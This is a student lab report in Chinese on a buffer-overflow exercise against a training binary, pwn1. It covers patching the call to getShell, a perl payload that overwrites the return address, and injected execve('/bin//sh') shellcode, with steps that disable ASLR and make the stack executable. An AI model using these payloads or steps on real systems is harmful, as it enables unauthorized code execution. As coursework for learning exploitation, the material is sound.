20212934 高铭泽 2021-2022-2 第九次作业
1.实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2.基础知识
1.掌握NOP,JNE,JE,JMP,CMP汇编指令的机器码
·NOP:空指令,在执行时,CPU无需任何操作。
JNE:与跳转不同的踢条件转移指令
JE:跳转
CMP:比较指令,相当于减法运算,但是不会寄存结果。
2.掌握反汇编与16进制编程器
3.反汇编:objdump -d ***
4.二进制转十六进制::%! xxd
5.掌握可执行文件的基本格式
6.掌握缓冲区溢出攻击的原理
当计算机向缓冲区内填充数据位数时超过了其自身容量,就会覆盖正确数据。
3.实践过程
3.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
进入到pwn1,使用指令objdump -d pwn1反汇编提供的pwn1文件,可以看到pwn1所有的函数
我们可以看到getShell函数、main函数和foo函数
在main函数调用中,我们可以看到80484b5这一行中,第四列是汇编指令,代表调用地址为8048491的foo函数,“e8 d7 ff ff ff”是机器指令,e8的含义是“跳转”,EIP值指的是下一条指令的地址:80484ba,这条机器指令的意思是转而执行下一条位于地址80484ba的指令。
输入指令vi pwn1,进入编辑器。
输入指令:shifu+:%!xxd,将文编显示改为十六进制模式。
再次输入”objdump -d pwn1”命令反汇编查看call指令是否调用函数getshell。
最后运行pwn1
3.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
使用未被篡改的源文件pwn1,输入命令“objdump -d pwn1”对该文件进行反汇编。
“apt install gdb”安装,输入命令“gdb pwn1”调式程序。
输入“r”,运行这个文件,输入一连串“11111”,程序输出该字符串,报错“Segmentation fault”,原因是输入产生溢出。
构造输入字符串并作为pwn1的输入,输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
使用命令(cat input; cat) | ./pwn1,运行结果如下所示
3.3 注入一个自己制作的shellcode并运行这段shellcode
使用kali无法进行execstack指令安装,使用seed ubuntu进行
首先安装execstack指令
为了能够顺利完成攻击,需要进行一些预先的准备工作
依次输入:
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
然后就是要构造要注入的payload,输入
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
打开一个终端注入这段攻击buf:(cat input_shellcode;cat) | ./pwn1
用ps -ef | grep pwn1命令找到pwn1的进程号是:6098
用gdb的attach 6098命令启动调试这个进程:
修改文件中代码为
perl -e 'print "A" x 32;print "\xe0\xf4\xff\xbf\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
执行(cat input_shellcode;cat) | ./pwn1,执行shell功能,结果如下